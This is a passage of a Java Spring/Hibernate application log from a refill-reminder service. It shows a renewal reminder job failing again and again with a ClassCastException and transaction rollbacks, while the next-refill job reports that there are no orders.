com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at 